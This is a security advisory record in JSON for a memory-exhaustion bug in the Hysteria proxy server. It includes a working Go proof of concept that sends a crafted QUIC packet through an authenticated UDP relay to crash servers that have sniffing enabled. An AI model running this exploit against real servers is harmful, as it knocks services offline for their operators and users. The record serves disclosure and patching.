{"id":"GHSA-9fw6-xgg2-mq9q","aliases":["GO-2026-5288"],"url":"https://o3.security/vulnerability/GHSA-9fw6-xgg2-mq9q","summary":"Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled","details":"### Summary\n\nA specially constructed quic package can crash the server OOM when the sniff is enabled.\n\n### Details\n\nWhen the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.\n\n\n### PoC\n```\nopenssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj \"/CN=localhost\" 2>/dev/null\n```\n\nserver.yaml\n```\nlisten: :8443\ntls:\n  cert: localhost.crt\n  key: localhost.key\nauth:\n  type: password\n  password: mypassword\nsniff:\n  enable: true\noutbounds:\n  - name: my_direct\n    type: direct\n    default: true\n```\n\npoc.go\n\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/apernet/hysteria/core/v2/client\"\n)\n\nfunc main() {\n\tserverAddrStr := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tpassword := flag.String(\"password\", \"mypassword\", \"Hysteria server password\")\n\tflag.Parse()\n\n\tserverAddr, _ := net.ResolveUDPAddr(\"udp\", *serverAddrStr)\n\tc, _, err := client.NewClient(&client.Config{\n\t\tServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to connect: %v\", err)\n\t}\n\tdefer c.Close()\n                                                                                                                \n\tvar maliciousQUICPacket = []byte{                                                                                                                                                                         \n\t\t0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              \n\t\t0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             \n\t\t0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              \n\t\t0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             \n\t\t0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   \n\t} \n\n\tudpConn, err := c.UDP()\n\tif err != nil {\n\t\tfmt.Printf(\"[-] UDP error: %v\\n\", err)\n\t}\n\ttargetAddr := fmt.Sprintf(\"8.8.8.8:443\")\n\tfmt.Printf(\"[*] Sending 'death' packet to %s...\\n\", targetAddr)\n\t_ = udpConn.Send(maliciousQUICPacket, targetAddr)\n\n\t// Wait longer to ensure packet delivery\n\ttime.Sleep(3 * time.Second)\n\tfmt.Printf(\"[+] Done.\\n\")\n}\n```\n\n\n### Impact\nWhen sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).","published":"2026-05-05T21:14:22Z","modified":"2026-06-25T19:56:39.757124493Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/apernet/hysteria/core/v2","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/apernet/hysteria/security/advisories/GHSA-9fw6-xgg2-mq9q"},{"type":"PACKAGE","url":"https://github.com/apernet/hysteria"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-25T19:56:39.757124493Z"}}